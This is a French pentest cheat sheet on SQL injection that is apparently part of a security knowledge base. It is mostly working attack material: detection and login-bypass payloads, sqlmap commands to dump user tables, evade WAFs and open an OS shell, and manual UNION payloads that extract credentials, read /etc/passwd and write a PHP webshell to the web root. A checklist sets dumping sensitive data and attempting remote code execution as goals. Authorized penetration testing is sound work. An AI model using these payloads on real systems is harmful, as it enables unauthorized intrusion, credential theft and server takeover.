---
title: "SQL Injection"
domain: security
subdomain: pentest
phase: 04-exploitation
type: snippet
tags: [sqli, web, exploitation, pentest, sqlmap]
difficulty: intermediate
status: stable
updated: "Sun May 10 2026 00:00:00 GMT+0000 (Coordinated Universal Time)"
---
## Objectifs

Exploiter des injections SQL pour extraire des données, bypasser l'auth ou obtenir un RCE.

<Warning>Documenter chaque payload testé avec la réponse obtenue pour le rapport.</Warning>

## Détection manuelle

```bash vars=TARGET
# Error-based — chercher des messages d'erreur SQL
{{TARGET}}/page.php?id=1'
{{TARGET}}/page.php?id=1 AND 1=1-- -
{{TARGET}}/page.php?id=1 AND 1=2-- -   # réponse différente = vulnérable

# Time-based blind (MySQL)
{{TARGET}}/page.php?id=1 AND SLEEP(5)-- -

# UNION — trouver le nombre de colonnes
{{TARGET}}/page.php?id=1 ORDER BY 3-- -
{{TARGET}}/page.php?id=0 UNION SELECT 1,database(),user()-- -

# Bypass login
# username: admin'--
# username: ' OR 1=1-- -
```

## Sqlmap

```bash vars=TARGET,OUTPUT_DIR
# Détection + bases de données
sqlmap -u "{{TARGET}}/page.php?id=1" --batch --dbs

# Dump table
sqlmap -u "{{TARGET}}/page.php?id=1" --batch -D mydb -T users --dump -o {{OUTPUT_DIR}}/dump.txt

# POST data
sqlmap -u "{{TARGET}}/login.php" --data="user=admin&pass=test" --batch --dbs

# Bypass WAF
sqlmap -u "{{TARGET}}/page.php?id=1" --tamper=space2comment,randomcase --level=5 --risk=3

# OS shell (si FILE priv)
sqlmap -u "{{TARGET}}/page.php?id=1" --batch --os-shell
```

## Extraction manuelle (MySQL)

```bash vars=TARGET
# Lister les DBs
' UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata-- -

# Tables d'une DB
' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema=database()-- -

# Dump credentials
' UNION SELECT 1,group_concat(username,0x3a,password),3 FROM users-- -

# Lire un fichier
' UNION SELECT 1,load_file('/etc/passwd'),3-- -

# Ecrire un webshell
' UNION SELECT 1,"<?php system($_GET['c']); ?>",3 INTO OUTFILE '/var/www/html/sh.php'-- -
```

<Checklist
  title="Checklist SQLi"
  storageKey="pentest-sqli"
  items={[
    { id: "detection", label: "Paramètres testés avec guillemets simples/doubles" },
    { id: "type", label: "Type identifié (error/blind/union/time)" },
    { id: "sqlmap", label: "Sqlmap lancé avec --dbs" },
    { id: "dump", label: "Données sensibles dumpées et sauvegardées" },
    { id: "bypass", label: "Bypass auth via SQLi tenté" },
    { id: "rce", label: "os-shell / webshell tenté si FILE disponible" },
    { id: "rapport", label: "Payload + réponse documentés (preuve)" },
  ]}
/>

## Pièges fréquents

- **WAF** : utiliser tampers sqlmap (`space2comment`, `randomcase`, `between`)
- **Blind** : variations de timing ou de contenu, pas d'erreur visible
- **OS-shell** : `secure_file_priv` bloque souvent lecture/écriture de fichiers
- **Charset** : ajouter `--charset=utf8` en cas de problèmes d'encodage
